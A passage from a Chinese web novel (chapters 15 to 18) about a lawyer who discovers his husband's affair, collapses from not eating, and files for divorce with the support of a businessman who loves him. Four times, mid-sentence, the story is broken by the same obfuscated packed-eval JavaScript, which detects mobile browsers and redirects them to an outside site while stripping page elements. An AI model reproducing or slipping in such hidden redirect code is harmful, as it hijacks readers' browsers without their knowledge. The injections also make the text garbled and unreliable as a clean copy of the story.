来到客厅,傅识云躺在沙发上,满脑子都是曲颂喝酒时的模样,不倾诉不发泄,只是一杯接一杯地喝酒,所有坏情绪都往肚子里咽,让人看了心疼。 酒精加上许久未好好休息的双重作用下,傅识云睡得很沉,直到被争吵声吵醒。声音是从卧室里传出来的,隔着扇门,显得没那么真切: “他睡沙发我睡卧室,我们怎么可能发生什么!你能不能不要以己度人!” “我以己度人?!”被戳到痛处的宋琰暴跳如雷,“你趁我不在让一个野男人在家里过夜,还不允许我怀疑了!” 曲颂不悦皱眉:“你嘴巴放干净点!” “我说错了吗?!”曲颂的维护让宋琰瞬间失去理智,“你俩才认识几天他就睡家里了!还有上次吃饭,你敢说你俩一点事没有?!” 房门打开,傅识云走了进来,身上还穿着昨天的西装,衬衣压出了褶皱,冲宋琰道:“曲律师昨晚喝醉了,我不放心扔他一个人,所以擅自留了下来,什么都没发生。” 宋琰看着面前处处比自己强的男人,一丁点理智都没有了,冷笑一声:“喝醉了什么都没发生,你当我是傻子?我说他这段时间怎么对我忽冷忽热的,原来是和你勾搭上了!没想到江北市首屈一指的傅总竟然喜欢二手货!” “啪!”清脆的巴掌声仿佛一个休止符,吞没了所有声音。房间里静的可怕。 从昨晚到现在一直没吃东西,饥饿加上愤怒,曲颂整个人在不受控制地发抖,心像被剜了一刀似的疼。 宋琰捂着被打疼的半张脸,愤怒的眼神恨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788603|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得撕了曲颂:“你他妈敢打我?!你竟然为了别的男人打我!从小到大都没人打过我!” “现在有了。”曲颂指着门口,眼神死寂,颤声道,“滚出去,我不想看见你。” “好!好!!曲颂你他妈好样的!我要是再回这个家我他妈的跟你姓!!” 撂下狠话,宋琰大步冲出房间,看到餐桌上的生日蛋糕,终于后知后觉地想起昨天是曲颂的生日。不过现在就算天塌下来都没用,更何况是一个每年都过的破生日,没有丝毫犹豫地走了。 卧室再次陷入沉默。 曲颂缓缓吐出口气,抬头冲傅识云露出一抹比哭还难看的笑:“他一生气就这样,嘴上没个把门的。我替他道歉,刚刚的话傅总别放在心上,对不起。” 明明自己才是受伤害最深的那个,不仅得不到任何道歉,还要替宋琰收拾烂摊子。 傅识云眼里是再也藏不住的心疼:“该道歉的是我。如果不是我擅自留宿,也不会发生这样的事。” 曲颂连忙摇头:“别这么说。你这么说我心里更过意不去了。我有点头晕,想睡一觉。” “你好好休息,我走了。” 傅识云转身离开,顺手带上门。曲颂躺回床上,面色苍白,头疼的快炸开,整个人心力憔悴。 从房间出来已经是下午,饥肠辘辘的曲颂去厨房找吃的,不经意看到了桌上的便利贴: 【厨房有熬好的粥,记得热热再吃。】 陌生的字迹不妨碍曲颂猜出写字之人是谁,进了厨房,果然在炉灶上的砂锅里发现了熬好的白米粥。拧开炉灶热了热,盛出一碗吃了几口后,曲颂结束了进食。 胃是情绪器官,心情不好吃什么都味如嚼蜡。 家里安静得可怕,孤独像是被唤醒的地缚灵,张牙舞爪地从四面八方袭来,仿佛要将人吞没。 曲颂打开电视制造声响,自己坐在沙发上出神。不知过了多久,微信提示音将他从过去的美好回忆中拉了出来。 许天和:【今天怎么没来律所?身体不舒服啊。】 曲颂回复:【没有。没什么事就没去。】 最近这两年曲颂的工作重心放在了律所的发展上,接受委托的频率没有以前那么高了,不用整日整夜地泡在律所里。 许天和:【没事就行,别忘了明天上午和启跃签约的事。】 曲颂:【放心吧,忘不了。】 聊天结束,曲颂看到有好友申请。昵称:林畔,自我介绍:我是林畔。 想起那日在电脑上的匆匆一瞥,曲颂点了通过,主动发消息:【你好,有什么事吗?】 15.录音 没过几分钟,曲颂收到了一条长达十几分钟的录音,他没着急点开:【什么意思?】 林畔:【点开听听就知道了,不会让你失望的。对了,这种录音我还有很多,你想要的话我都可以发给你。】 曲颂眼睛紧紧盯着这条录音,一个猜测在脑海中渐渐形成,像越来越强烈的飓风,不断摧毁着他的理智、勇气,以及对宋琰的信任。 屏幕明明灭灭不知多少次,自认为做足了心里准备的曲颂轻轻点开录音。几乎是在一瞬间,呻--吟声和喘息声争先恐后飘了出来,其中一道声音是深入骨髓的熟悉。 手机脱力掉在地毯上,曲颂宛如一个提线木偶,不会思考不会行动,眼神空洞地坐在沙发上。大脑一片空白,可偏偏耳朵还能听到,每一秒都是凌迟。 录音中的两人叫声突然变得高亢激烈,曲颂猛地抬起手拼命捂住耳朵,眼泪像断了线的珠子从眼眶滑落,他的胸口剧烈起伏,呼吸越来越急促,最终发出痛苦的嘶吼。 “好多啊,明明昨天晚上才做过。”窸窸窣窣的声音后,录音里出现了一道男声。 另一个人轻笑了声,似乎很满意这个夸赞:“不多怎么喂饱你。” 听到说话声的那刻,最后一丝侥幸也没有了的曲颂忽然笑了出来,笑容破败而苍凉。难怪昨晚手机关机,原来是忙着和别人上床。 “宋少今天怎么白天就来了,不怕你老婆知道吗?” 宋琰冷哼一声:“知道又怎么样?谁让他动手打我了,以后我都住你这儿,天天陪你。开心吗?” “当然开心。” 录音到此结束,曲颂整颗心已经痛得麻木。他现在甚至不知道自己该做些什么好,只是干坐着,整个人好似一副被掏空的躯壳。 视线不经意落到左手无名指上,曲颂突然发了疯似的摘下戒指,大步走到洗手间,毫不犹豫将戒指丢进马桶,用力按下冲水键。 水流卷着戒指消失在视线里,还嫌不够,曲颂又冲去卧室,从床头柜的抽屉里拿出相册,照片一张一张抽出来撕碎…… 曲颂用了一整夜的时间,毁掉了家里所有的自己和宋琰的共同物品。然而毁不掉的是这栋房子承载的回忆,像空气,看不见摸不着,又真实存在。 看着窗外亮起来的天色,曲颂步伐虚浮地去了洗手间,剧烈的情绪波动加上长时间未进食,身体已经严重透支。饶是如此,曲颂还是洗了个澡,刮干净新长出的胡茬,换上合体的西装,打好领带,让自己看上去和往常无异。 至于心里的脆弱与狼藉,曲颂不会让别人看到。 - 签约仪式定在上午十点,曲颂九点半左右就到了,被安排在了会客室里。 赶来的傅识云隔着透明玻璃看到这一幕,不禁想起了两年前。匆匆一面,久难忘怀。 人生的出场顺序很重要。来晚了,一切都是徒劳。 对于这份感情,傅识云唯一能做的就是顺其自然,总有一天他会放下,去喜欢新的人。至于这一天什么时候来临,傅识云不知道,也不强求。 推门进去,傅识云一眼就注意到了曲颂过于苍白的脸色,以及眉宇间极力掩藏的疲倦,不放心地问:“还好吗?我怎么看你不是很舒服的样子。” 曲颂摇了摇头,笑着说道:“我没事,许律师马上就到。” “不急。”傅识云坐到曲颂对面,瞄了眼桌上几乎没怎么喝的咖啡,心里的担忧更重了。 合同已经提前商议好了,签约仪式只是走个流程。在会议室里签完字,傅识云起身,主动朝曲颂伸出手:“合作愉快。” 曲颂跟着站起来,一阵天旋地转后,整个人失去意识摔在了地上。 “曲颂!”傅识云惊呼出声。 挨着曲颂坐的许天和同样吓得不轻,急忙伸手去扶他,还没等碰到衣服,傅识云已经绕过会议桌冲了过来。 抢在许天和前面将人半抱在怀里,傅识云伸出另一只手去探曲颂的颈动脉,几秒后松了口气:“晕倒了,送医院让医生检查一下。” “我去开车!”许天和说完着急忙慌往外面跑。 傅识云横抱起曲颂大步朝电梯走去,边走边忍不住低头打量怀里的人,轻飘飘的重量让他很难相信自己抱的是一个成年男人。 - 曲颂睁开眼,很快反应过来自己是在医院里,毕竟晕倒前的事他还记得。转过头,果不其然看到了坐在床边的傅识云。 “谢谢。”曲颂哑声开口,“给你添麻烦了。” 傅识云不想和他说这些浮于表面的话,直截了当:“医生说你至少已经二十几个小时没吃东西了,所以才会低血糖晕倒。能告诉我原因吗?为什么吃不下东西?” 曲颂紧抿着唇不说话。 他这副样子落在傅识云眼里就是不熟悉、不想说,不免有点急了:“你现在的样子哪怕是陌生人都不会置之不理,更何况……”到嘴边的话生生止住,“我们还不是陌生人。” 现在的曲颂就好比一个缩在壳子里的蜗牛,只有他极度信任的人才可以让他出来。 “我知道你没把我当成可以交心的人,许律师去给你买吃的了,很快就回来。你好好休息,我先走了。”傅识云起身要走,曲颂抬手抓住他的衣角,力道很轻很轻,像一片落在身上的树叶,只要傅识云想,轻轻便是拂掉。 可他怎么忍心呢。 蜗牛探出了敏感的触角,想确定环境是否安全,迎接它的是温柔与包容。 傅识云几乎是下一秒就重新坐回了床上:“不想说没关系,不想说就不说了。你再睡会儿,我给你看着液体,挂完点滴我送你回家。” “他出轨了。”曲颂说着抬起手臂挡住眼睛,不想对方看到自己的眼泪。 男儿有泪不轻弹,只是未到伤心处。纵然曲颂再坚强也不过是血肉之躯,八年感情,全身心投入,如何能无动于衷。 傅识云眼里的震惊似要化为实质,随之而来的还有满腔的怒火和源源不绝的心疼……千百种感受,唯独没有窃喜。 一直以来,傅识云为自己预设的都是旁观者的角色。他由衷地希望曲颂可以幸福,即便给他幸福的那个人不是自己。他以为宋琰虽然不成熟了些,起码还是可靠的。 可是现在,傅识云看着躺在病床上的人,脆弱的仿佛一碰就碎,恨不得撕了宋琰。 “多久了?” 曲颂摇了摇头,声音哽咽:“不知道。我是昨天晚上收到了一段录音才知道的。前天我过生日,他没回来,就是和那个人在一起。我像个傻子一样等了他大半夜。” 傅识云的手紧紧攥成拳头,如果现在宋琰就在他面前,他肯定毫不犹豫一拳挥过去:“他在哪?” “应该在小情人的家里吧。” “我知道了,去公司肯定能堵到他。”向来崇尚用理智解决问题的傅识云此刻只想狠狠揍宋琰一顿! 曲颂连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793111|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下手臂,眼圈红红的,语气焦急:“你不要去。” 傅识云皱眉,语气费解:“到现在你还护着他?” “不是,我是怕你……” “你不用怕,他不敢拿我怎么样。”傅识云打断他,起身往外面走去。 “傅识云!你别去!”曲颂挂着点滴没法下床,情急之下喊了傅识云的名字。只见走到门口的人转过身,眼里流露出笑意:“终于不再“傅总”、“傅总”的叫我了。” 从医院出来,傅识云开车直奔长恒,不出意外被前台拦住了:“你只需要告诉我,宋琰在还是不在,我保证不会让你为难。” 前台看出傅识云不是普通人,想着或许认识:“我早上看见宋总进了公司。” 傅识云直接拨通了宋老爷子的电话:“我是傅识云,来公司找宋琰有点事,您能否让前台通融一下。” 五分钟后,傅识云乘电梯到了二十三层。恰巧宋老爷子也在公司,从办公室出来迎他,笑盈盈道:“关系就是得多走动走动才好,两辈子的世交可不能断在你和小琰这里。” “如果几分钟后您还是这个态度,我没意见。”扔下这句话,傅识云抬脚往宋琰办公室走去。 宋琰正在和林畔聊天,办公室门突然从外面打开,一道人影冲了进来,没等他做出反应,已经被揪着衣服从椅子上薅起来,脸上结结实实挨了一拳,整个人失去平衡撞在了后面的书架上。 书七零八落掉了一地。 傅识云紧接着给了他第二拳,每一拳都用足了力。打脸得对称,不然多难看。 跟在后面进来的宋老爷子见到这一幕连忙呵斥:“住手!” 傅识云一个分神,给了宋琰反击的机会,握紧拳头狠狠锤在了傅识云肚子上。傅识云也迅速回了一拳。 两人就这样赤手空拳的打了起来,直到保安进来将两人拉开。 宋琰抹了抹嘴角的血,眼神挑衅:“怎么,狗急跳墙了?就这点力气,挠痒痒呢。” 傅识云冷笑:“你得感谢如今是法制社会,不然我非宰了你!” 丢下这句话,傅识云挣脱开按着他的保安,转身走了。 回医院的路上,傅识云收到了爷爷的电话。语气里没多少训斥,更像是打听八卦:“老宋刚来电话跟我说你把他孙子打了?” 傅识云看着路况:“他孙子又不是沙包,乖乖站那儿给我打。” “你也挨打了?没受伤吧。”小老头立马关心起自己孙子的情况。 “没有。” 小老头继续追问:“跟爷爷说说,为什么动手打人家?” 自己孙子的脾气秉性他还是知道的,从小就跟个小大人似的,幼儿园时吃饭被其他小朋友撒了一身汤都不带哭闹的,还把自己的那份给了人家。 事出反常必有妖。 傅识云觉得有必要让小老头提前有个心理准备:“不满您说,我看上宋老爷子的孙媳妇了。” 傅识云喜欢男的这件事全家都知道,而且是板上钉钉改不了的。孙媳妇、男的,那不就是…… 反应过来的小老头急得在手机里吱哇乱叫:“这可不行啊!就算没有两家的交情在你也不能这么干,太不道德了!坚决不行!” “我什么都没干,打他是因为他该打。” 小老头顿了顿:“你没抢人家媳妇?” “……没有。” 起码之前没有,之后有没有就不保证了。 16.太阳 曲颂心急如焚地待在医院里,找了一圈也没找到自己的手机。 左等右等,许天和终于拎着大包小包回来了:“堵车快堵死我了!”见病房里就曲颂自己,“傅总呢?没看着你啊。” 曲颂朝他伸手出:“手机快给我用用!” 许天和放下手里的东西,解锁手机递给曲颂,纳闷地问:“什么事这么着急?” 曲颂没答,点进通讯录:“你有傅识云的电话号吗?” “有,你搜‘傅总’就出来了。” 搜出来后,曲颂毫不犹豫打了过去,一阵提示音后,耳边响起低沉的声音:“许律师。” “是我。”曲颂握着手机,焦急地问,“你怎么样?” “我没事,他也没死。”虽然不知道这份担忧里有多少是因为自己,傅识云还是高兴,又怕曲颂怪他多管闲事,毕竟目前为止,自己还是个外人,于是全然不给曲颂插话的机会,“刚刚助理联系我说会议室里有个手机,应该是你的,送你来医院时忘拿了。我现在去拿,然后给你送过去。先开车了,再见。” “再……”见字没等出口,那边已经挂掉了电话。曲颂将手机还给许天和,听到他问:“到底出什么事了?我怎么感觉你不太对劲呢。” 面对唯一的挚友,曲颂没什么好遮遮掩掩的,何况瞒得了一时也瞒不了一世。好在他现在的心绪已经稳定下来,难受归难受,不至于说句话就掉眼泪,淡声道:“宋琰出轨了。” “什么?!”许天和仿佛吹足了气被针扎了的气球,当场就炸了,一通“鸟语花香”的输出后,“宋琰人呢?真当你好欺负了!头给他拧下来!” “你先冷静。”曲颂连忙劝道,“我刚刚给傅识云打电话就是为了这件事,他已经把宋琰打了。” 听到这句话的许天和立刻冷静不少,心情也舒畅了很多:“打死他都活该!” 曲颂看了眼床头柜上的塑料袋,故作轻松道:“还真有点饿了,都买了什么好吃的?” “放心,全是你爱吃的。不过医生说得先吃点好消化的。”许天和帮他把粥拿出来,话锋一转,“你就是因为这件事吃不下饭,低血糖晕倒的?” 没等曲颂回答,许天和已经开始唠叨上了:“因为别人的错误糟蹋自己的身体,傻不傻啊你!劝委托人的时候一套一套的,到自己这里就绳子一套是吧?得亏你没出什么事,不然我怎么跟伯母交代……” 曲颂低头小口喝着粥,把许妈妈的数落当成下饭菜。一碗粥见了底,傅识云也回来了,手机还给曲颂。 许天和突然拍了拍傅识云的肩膀,不是为了吸引注意那种拍,拍的非常结实,连拍了两下:“太够哥们义气了!” 要是现在有个桃园,他能立刻拽着两人结义! 傅识云:“……” “没受伤吧?要不要做个检查?”曲颂上下打量傅识云,他实在不想因为自己的事连累别人。 “什么事都没有,他打不过我。” 挂完点滴,又吃了碗粥,曲颂体力也恢复差不多了,没必要再浪费医疗资源。来到医院停车场,傅识云自告奋勇:“我送他吧,正好顺路。” “也行。”许天和点点头,随即不放心地看了眼曲颂。 曲颂笑了笑:“放心吧,这点事打不倒我。” “尼采说过:“那些杀不死我的终将使我强大!””许天和斗志昂扬地灌起了鸡汤,“共勉!” 车子驶出医院,汇入车流。曲颂还是觉得累,坐在副驾驶上面朝着窗户闭目养神。 曲颂其实并不想回家,那个家里有太多回忆了,只要身处其中便无孔不入地折磨他。他现在只想找个没人的地方安静待着,将自己回炉重造一遍,然后以无坚不摧的姿态去面对宋琰。 他绝对不允许自己在宋琰面前暴露一丝一毫的软弱。以前的宋琰是爱人、是家人、是值得信赖的人,是不必设防的人。从知道他出轨的那一刻,便什么都不是了。 察觉到路途的漫长,曲颂睁开眼睛,入目是陌生的街道,直起身看了眼认真开车的人:“是不是走错路了?” 傅识云卖关子:“我可没说要带你回家。” 曲颂闻言重新靠回到椅背上,笑道:“那我就悉听尊便了。” 傅识云带曲颂去了郊区的独栋别墅:“这栋别墅是我几年前买的,本想着闲暇之余过来小住几天,远离喧嚣,放松身心,奈何忙的根本抽不出时间,就一直闲置了。不过会有人定期上门打扫,所以很干净。” 在曲颂不解的目光中,傅识云缓缓道:“如果你愿意的话,可以把它当做一个安全屋。没有你的允许,任何人都不会来打扰,包括我。” 傅识云知道现在的曲颂需要一个僻静安全的地方来默默疗愈自己,所以他想到了这个地方。 曲颂接受了对方的好意,住了下来。有了傅识云提前叫人准备好的生活必需品,一切都很方便。 住进来的第二天,曲颂开始忙活起来——别墅后面有个小院,一半做了凉亭,一半荒废着,这个时节,种菜刚刚好。 除草、翻土这些前期准备工作都做完后,曲颂去了趟农贸市场,买了些蔬菜苗:小白菜、生菜、香菜……相比于种子,已经成活的幼苗更适合新手。 拿回去种在地里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798174|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来就是浇水。曲颂看了眼距离菜地起码七米开外的水龙头,正要回屋拿盆,放在台阶上的手机响了,是微信。 傅识云:【已经一周了,需不需补充物资?】 曲颂后知后觉时间的流逝:【需要,还需要一根接水龙头的水管。】 傅识云没问干嘛用:【要多长?】 曲颂迈着步子量了量水龙头到菜地的最远距离:【二十米左右,买二十二米吧。】 两个小多时后,傅识云带着水管和物资来到了别墅。对于水管的用途,傅识云有着强烈的好奇,直到跟随曲颂来到后院,看到了地里的菜苗,顿时明白了。 傅识云脱掉西装外套,衬衫袖子挽到手肘,露了肌肉线条紧实流畅的小臂:“我来接。” 水管一端套住水龙头,放上卡扣拧紧,傅识云看了眼拿着水管站在菜地边缘的人:“我开水龙头了。” 曲颂冲他比了个OK的手势。 水潺潺而出,为菜苗们带去了生的希望。 浇完水,两人坐在台阶上。 “我偶尔会遇到一些委托人,即便赢了官司仍郁结于心,难以从伤痛中走出来。于是我便建议他们养几盆植物,有条件也可以种些喜欢吃的菜。”曲颂偏头看向傅识云,夕阳下,他的侧脸立体流畅,“你猜猜是为什么?” 傅识云看着地里的一颗颗菜苗,光是想象它们长大的样子便已满心期待:“生命的蓬勃生长能给人以希望,振奋人心。” 曲颂笑了起来,心灵上的同频让他有了倾诉的欲望:“这几天我脑子里总是反复出现他替我挡刀的画面,然后就忍不住想,一个人真能变化这么大吗?” “人其实是很难改变的,脾气秉性、三观人格……这些看不见摸不着的东西从呱呱坠地那一刻就不断被塑造着,经年累月、根深蒂固,除非经历重大变故,否则很难改。你眼中的他的变化,其实只是爱与不爱的区别。” 医者难自医。现在的曲颂身处迷雾中,辨不清方向,找不到脚下的路。傅识云愿意做那个为他剥去迷雾的人,哪怕只有一点点,也能让他快点走出来。 曲颂颤了颤眼睫,心里涌上强烈的痛意:“所以是我一直没看清他,对吗?” “不对。”傅识云斩钉截铁,“是他奋不顾身爱你的样子太难以拒绝。我也从十几二十岁过来的,知道这个年纪的爱有多动人。” 纵然宋琰的缺点像星星一样多,可他给了曲颂太阳一样的爱。 ——当太阳出来,星星就不见了。 只可惜,银河系中的太阳可以源源不断燃烧50亿年,曲颂的太阳不过八年就熄灭了。 17.对峙 傅识云正在办公,助理敲门进来:“傅总,有您的鲜花。” 傅识云眼里浮上疑惑:“谁送的?” 助理摇头:“卡片上没有名字,您看要怎么处理?” “拿进来吧。” 助理抱着一大束盛开的向日葵去而复返,交给了傅识云。洁白的卡片上面只有一行手写英文:Sincere thanks to me. ——致以我最诚挚的谢意。 送花之人选择了寓意着希望与光明的向日葵,一为表达感谢,二为告诉收到花的人,他已从阴霾中走了出来,三为祝福对方生活永远明媚阳光。 傅识云抱着向日葵,发自内心地笑了,由衷替曲颂开心。 - 开车来到一家咖啡厅,曲颂走进去,选了靠窗的位置。他今天穿了件灰绿色衬衣短袖,搭配白色休闲裤,在这个炎热已经开始冒头的季节,显得格外清新怡人。 服务生走过来:“您好先生,请问要喝点什么?” 曲颂:“两杯拿铁。还有个人没到,等他来了再上。先结下账。” 林畔一进咖啡厅就认出了曲颂,除了出众的样貌,温柔儒雅的气质也是独一份的。坐下后先发制人:“如果以貌取人的话,很难猜出你的职业是律师,更像教书育人的老师。” 曲颂表情平静:“以貌取人是最不准的,你更像天马行空的艺术家,而不是插足者。” 服务生将咖啡端给两人,转身离开。 林畔看了眼面前的咖啡,又看了看喝咖啡的曲颂:“我以为你点咖啡是为了泼我的。” “那样太浪费了。”曲颂放下杯子,“直说吧,我要你和他的聊天记录。” 林畔难掩错愕:“你不是来让我离开他的?” “有这个必要吗?” 林畔沉默良久,点开和宋琰的聊天记录,将手机推了过去。 曲颂拿起来,打开自己手机的录像,边录边往上滑动屏幕。 林畔仔细打量低头录像的曲颂,试图从他平静的外表下找到一丝或难过或愤怒的证据。然而任他怎么看,都一无所获。 一直滑到最上面,曲颂按下停止键,手机还给林畔:“单已经买了,自便。” 说完起身头也不回地离开,从头到尾,除了冷漠和防备外,连丁点的情绪都没施舍给林畔。回到车里,曲颂趴在方向盘上,脑子里不断闪回着那些聊天记录,一颗心抽着疼。 缓了一会,曲颂直起身,开车回了家。看着被自己弄得一片狼藉的房子,曲颂打电话叫了保洁。 保洁阿姨过来一看,还以为遭贼了:“怎么了这是?” “我弄的,您放心打扫就好,凡是地上的都不要了。” 保洁阿姨动作很快,三个多小时就打扫干净了。除了应付的钱,曲颂又多给了两百,以补偿自己增加了对方工作量。 等保洁阿姨离开,曲颂去书房起草了一份离婚协议书,打印出来,用订书机订好,签上自己的名字。接着又将宋琰这些年送他的贵重物品全部整理好放进箱子里。 做完这一切,曲颂给宋琰打电话。不知道是真没听到,还是故意吊着他,即将自动挂断时宋琰才接了这通电话。 “晚上回来一趟,有事跟你说。” 宋琰没听出曲颂语气里的冷漠,不耐烦道:“我晚上加班,没时间,什么事改天再说。” “离婚的事,这回有时间了吗?”说完便挂断了电话。 一小时没到,宋琰急匆匆赶了回来。看到他的那一刻,即便已经做好了准备,曲颂的心还是痛了起来。 毕竟人不是机器,结束一段感情也并非终止程序那么简单。 “为了逼我回家你真是什么话都说!”宋琰出言嘲讽。 曲颂抬起下巴指了指地上的纸箱:“里面是你这些年送我的贵重物品,物归原主。如果你觉得贬值了,我也可以以当时的购买价格给你折现。这房子是我买的,归我。别的就没什么需要分割的了,你的是你的,我的是我的。离婚协议我签字了,该你了。” 宋琰看了眼茶几上的离婚协议书,意识到曲颂不是在说着玩,瞬间失去了理智:“曲颂你他妈疯了吧!你要跟我离婚?你他妈凭什么跟我离婚?!” 曲颂看着面前这个自己爱了八年的男人。八年时间,宋琰从校园到社会,褪去青涩,来到了人生中最意气风发的年纪。他以为他们可以并肩前行,一起走很远很远,没想到最后竟落得如此下场。 “宋琰我真挺好奇的,出轨这事你打算瞒我多久?一个月两个月、一年两年?还是一辈子?” 此话一出,宋琰好像被当头敲了一棒,脑子一片空白,惊慌失措不亚于天塌地陷。他哆嗦着声音问:“你怎么知道的?” 曲颂不答反问:“你是在遗憾自己没瞒好吗?” “不是的!”宋琰上前一步,伸手想去碰曲颂,被曲颂起身躲开了,拿起桌上的离婚协议书拍在宋琰胸口上,语气冷漠:“签字。我以我的人格担保,没在协议书上玩任何文字游戏,你可以放心签。” “我不签!”宋琰生平第一次低头认错,语无伦次,“我知道错了,我改!绝对绝对没有下次!你原谅我好不好?我真的改!” “有些错一旦犯了便没有挽回的余地,道一万次歉也没用。至于你改还是不改,我不在乎,也不重要,这是你下一任情人该操心的事。我今天能心平气和站在这里和你聊这件事,已经是我能做到的全部了。” 曲颂又重复了一遍:“签字吧。” “我说了我不签!”宋琰态度坚决,偏执的眼神死死盯着曲颂,“我这辈子都不会和你离婚的!你是我的!是我一个人的!谁也不能把你从我身边抢走!” “没有人和你抢,是你自己推开了我。” 一句话犹如利刃般刺入了宋琰的心脏,他看着不为所动的曲颂,终于发现了一丝端倪:“为什么?为什么知道我出轨你反应这么平静?你根本就不爱我了对不对?!” “你想要什么反应?是声嘶力竭质问你为什么出轨,还是哭哭啼啼求你回心转意,又或者是悲痛欲绝食不下咽?难道非要看到我被折磨的求生不得求死不能你才满意!我他妈没那么贱!”说到最后,曲颂也吼出了声。 “我不是这个意思,我……” “一个月。”曲颂迅速调整好险些失控情绪,打断道,“从你出轨到我发现大概是一个月,我也给你一个月的时间,一个月内你签字,咱俩离婚,不然就只能法院见了。” 言尽于此,曲颂抬脚往门口走去。没走两步,宋琰从身后抱住了他:“不许走!我们谈谈行吗?我们坐下好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804119|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好谈谈。” “没什么好谈的。如果你能痛快签字,我们还能为彼此留点体面,如果不能,那就只能对簿公堂了。”曲颂试图挣脱宋琰的束缚,奈何对方力气实在太大,勒的他胳膊都疼了,“放开我!” “不放!我不信你不爱我了,我不信你对我一点感情都没有了!”宋琰恨不得将曲颂嵌进自己的身体里,这样他就不会走了,“你肯定还是爱我的!” 提到爱,曲颂的眼眶不由湿润了:“宋琰,在你说出这话之前,你有没有想过你还爱不爱我?” “当然爱!”宋琰毫不犹豫。 “那你为什么要出轨?还是你觉得出轨和爱我并不冲突?” 这是一个没法回答的问题,因为说什么都是狡辩。这件事唯一的活路就是曲颂的原谅,但他不会这么做。 在一起的八年里,曲颂无数次的妥协隐忍让宋琰渐渐有恃无恐,以胜利者的姿态笃定曲颂不会离开他。宋琰错把爱当成软弱,严重低估了曲颂的狠心——他决定放弃,就绝不拾起;他决定离开,就绝不回头。 “不爱了就不爱了,没什么不好承认的。”曲颂眨了眨眼,将泪水逼了回去,“咱俩的缘分就这么长,既然尽了,就好聚好散。” “我说了我爱你就是爱你!”宋琰吼出声,“你别走,你先冷静冷静。等你冷静下来我们再好好谈谈。” 曲颂不想再听他说下去,手肘用力顶在宋琰胸口,趁他吃痛猛地挣脱开,大步朝门口走去。 宋琰追上去抓住曲颂的手腕,曲颂用力挣扎间宋琰注意到了他光秃秃的左手,脑袋嗡地一声:“戒指呢?戒指去哪了?” “丢马桶里冲走了,在半个月前。”曲颂停下挣扎的动作,轻飘飘道。再无半点找回来的可能。 宋琰身形一晃,喃喃道:“你半个月前就知道了?” “是。所以宋琰,我今天说的这些话是非常理智且冷静的。” “我不管!”宋琰重新抱住曲颂,语气偏执,“你不许走!不许走!” 宋琰也不知哪来的力气,两条手臂像钢筋似的紧紧箍住曲颂。曲颂试了好多次都挣脱不开,气急败坏:“宋琰你他妈放开我!” 恰在这时,外面有人敲门,熟悉的声音紧跟着传了进来:“我是傅识云。” 曲颂眼睛一亮,冲着门口大喊:“密码是我生日!” 傅识云迅速输密码开门,看到宋琰宛如寄生生物般牢牢禁锢着曲颂,大步走过去,抓住宋琰的手腕,暗暗用力。 宋琰额头青筋暴起,眼神阴狠:“别他妈犯贱!我俩的事你没资格掺和!” “他既然让我进了这个门,我就有资格。”傅识云白色衬衣下的手臂肌肉鼓起,用蛮力掰开了宋琰的胳膊。 曲颂迅速逃离,下意识躲到傅识云身后。刚刚他一度以为自己会被宋琰勒窒息。 这个动作深深刺痛了宋琰的眼睛,恨不得杀了傅识云。 “我们走吧。”曲颂气息不稳地开口。 “好。”傅识云抓着宋琰手腕猛地将他向后一推,转身用身体护着曲颂往门口走。 宋琰死死盯着曲颂离去的背影,恶狠狠威胁:“你今天要是出了这个门,我一定让你后悔!” 听到这话的曲颂不觉得意外,因为这才是他的本性,毅然决然往外面走去。 18.较量 曲颂身心俱疲地靠在电梯里:“幸亏你来了,不然我可能真走不了。” 傅识云站在曲颂身后:“你和他提离婚了?” “嗯。” “什么时候离?” “一个月。一个月之后他不签字我就起诉,证据已经保存好了。”一个月是曲颂留给宋琰接受这件事的期限,过时不候,就当是全了相爱一场最后的体面。 傅识云觉得慢了,要什么一个月,现在就能起诉离婚,但他尊重曲颂的决定:“有什么我能帮得上忙的尽管开口。” 